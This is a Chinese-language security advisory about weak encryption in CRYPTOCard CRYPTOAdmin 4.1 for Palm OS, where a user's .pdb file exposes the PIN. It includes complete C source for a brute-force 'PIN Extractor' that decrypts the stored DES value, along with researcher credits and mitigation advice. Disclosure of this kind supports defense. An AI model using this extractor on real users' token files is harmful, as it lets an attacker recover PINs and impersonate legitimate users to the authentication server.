首页 -> 安全研究

安全研究

安全漏洞
CRYPTOCard CRYPTOAdmin 4.1 采用不完善的加密机制

发布日期:2000-04-11
更新日期:2000-04-11

受影响系统:
CRYPTOCard CRYPTOAdmin 4.1- Palm Palm OS 3.3
描述:

CRYPTOCard CRYPTOAdmin 是用于Palm OS(掌上操作系统)平台的网上认证应用程序。
CRYPTOAdmin会为每个用户产生一个包含用户名、PIN码、序列号和密钥的pdb文件,
这个文件会被装入Palm装置中使用。PalmOS PT-1应用程序在产生一次性口令时要求用户输入
PIN码。如果攻击者可以访问到合法用户的pdb文件,就可以用DES机制推算出合法用户的PIN码
。这样攻击者就有可能在另外的Palm设备上产生正确的一次性口令(token)的,对CRYPTOAdmin
服务器发来的挑战发送正确的应答信息,从而冒充合法用户访问服务器。

<* 来源:  Kingpin <kingpin@atstake.com>
       Dildog  <dildog@atstake.com>
       http://www.L0pht.com
*>    


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

cryptc41.c
-------------------------------------------------------------------

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
        des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F,
                                     0x25, 0x6D, 0x67, 0x6C};
        des_key_schedule sched;
        unsigned long massaged;
        FILE *pdb;

        if (argc == 1)
        {
                fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
        return 1;
        }

        fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
        fprintf(stdout, "kingpin@atstake.com\n");
        fprintf(stdout, "@Stake L0pht Research Labs\n");
        fprintf(stdout, "http://www.atstake.com\n\n");

        if((pdb = fopen(argv[1], "rb")) == NULL)
        {
                fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
                return 1;
        }

        fseek(pdb, 189L, SEEK_SET);
        if (fread(in, 1, 8, pdb) != 8)
        {
                fprintf(stderr, "Error getting ciphertext string.\n\n");
                return 1;
        }

        fclose(pdb);

        key[4] = 0x24;
        key[5] = 0x7E;
        key[6] = 0x3E;
        key[7] = 0x6C;

        for (massaged = 0; massaged < 900000000; massaged += 9)
        {
                key[0]=(massaged>>24) & 0xff;
                key[1]=(massaged>>16) & 0xff;
                key[2]=(massaged>>8) & 0xff;
                key[3]=(massaged) & 0xff;

                des_set_key(&key,sched);
                des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);

                if (memcmp(out, valid, 8) == 0)
                {
                        fprintf(stdout, "\n\nPIN: %d", massaged/9);
                break;
                }

                if ((massaged % 900000) == 0)
                {
                fprintf(stdout, "#");
                fflush(stdout);
                }
        }

        fprintf(stdout, "\n\n");
        return 0;
}
-------------------------------------------------------------------

建议:
目前没有好的解决办法。建议用户的pdb文件在传给Palm装置后,不要保留在工作站上。
CRYTOAdmin 的以后版本将不在把pdb文件放在Plam装置上,并且PIN码将同时使用字母和数字。

浏览次数:6210
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障